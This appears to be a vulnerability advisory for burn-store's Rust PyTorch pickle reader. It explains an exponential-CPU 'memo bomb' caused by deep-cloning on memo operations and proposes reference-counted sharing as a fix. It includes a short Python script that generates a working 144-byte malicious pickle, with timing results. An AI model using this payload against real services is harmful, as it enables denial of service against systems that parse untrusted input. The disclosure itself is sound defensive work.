`burn-store`: CPU exhaustion via pickle memo bomb (exponential complexity) in PyTorch reader
## Summary
burn-store's pickle parser deep-clones the entire `Object` tree on every `BINGET`, `MEMOIZE`, and `BINPUT` operation. A crafted pickle that fetches the same memo entry twice, combines the copies with `TUPLE2`, and stores the result back doubles the node count on every iteration. After N cycles, parsing requires O(2^N) work.
A **144-byte input causes ~2.4 seconds of CPU time**. This is the pickle equivalent of the "Billion Laughs" XML attack.
**File:** `crates/burn-store/src/pytorch/pickle_reader.rs`
**Lines:** 894–898 (`Stack::top`), 930–934 (`Stack::memo_get`)
## Root Cause
```rust
fn top(&self) -> Result<Object> {
match self.stack.last() {
Some(o) => Ok(o.clone()), // deep-clones entire Object tree on every call
None => Err(PickleError::StackUnderflow),
}
}
fn memo_get(&self, idx: u32) -> Result<Object> {
self.memo
.get(&idx)
.cloned() // deep-clones on every fetch
.ok_or(PickleError::MemoNotFound(idx))
}
```
`Object` is a recursive enum (`Tuple(Vec<Object>)`, etc.) so cloning one node clones its entire subtree.
Three opcodes form the amplification cycle:
```
BINGET 0 ; push clone of memo[0] — O(2^n) work
BINGET 0 ; push clone again — O(2^n) work
TUPLE2 ; combine → 2^(n+1) nodes on stack
BINPUT 0 ; memo[0] = clone — O(2^(n+1)) work
; old memo[0] freed, but next iteration doubles again
```
Each iteration doubles the node count. After N iterations: O(2^N) total work.
## Reproduction
```python
NEWFALSE = b'\x89'
BINPUT = b'q'
BINGET = b'h'
TUPLE2 = b'\x86'
STOP = b'.'
N = 20 # 144 bytes
poc = NEWFALSE + BINPUT + b'\x00'
for _ in range(N):
poc += BINGET + b'\x00' + BINGET + b'\x00' + TUPLE2 + BINPUT + b'\x00'
poc += STOP
open('poc-077.pkl', 'wb').write(poc)
```
Load with `PytorchReader::from_reader(Cursor::new(poc_bytes), None)`.
**Measured scaling (confirmed 2× doubling per step):**
| N | Input size | CPU time |
|---|---|---|
| 17 | 123 bytes | 0.35s |
| 18 | 130 bytes | 0.69s |
| 19 | 137 bytes | 1.36s |
| 20 | 144 bytes | **2.69s** |
## Impact
Reachable via `PytorchReader::from_reader()` on any untrusted raw pickle bytes. No ZIP wrapper required. 16 concurrent requests at N=20 consumes >40 CPU-seconds per core. Increasing N by 7 (one additional byte per cycle = 7 bytes total) multiplies time by 128×.
## Suggested Fix
Replace owned `Object` clones with reference-counted sharing — identical to how CPython's `pickle` module handles memo:
```rust
use std::rc::Rc;
pub struct Stack {
stack: Vec<Rc<Object>>,
memo: HashMap<u32, Rc<Object>>,
...
}
fn top(&self) -> Result<Rc<Object>> {
self.stack.last().cloned() // O(1) refcount bump, no tree copy
.ok_or(PickleError::StackUnderflow)
}
fn memo_get(&self, idx: u32) -> Result<Rc<Object>> {
self.memo.get(&idx).cloned() // O(1)
.ok_or(PickleError::MemoNotFound(idx))
}
```
As a simpler interim mitigation, track total node count in `Stack` and reject inputs that exceed a threshold (e.g., 10 million nodes).
0 条评论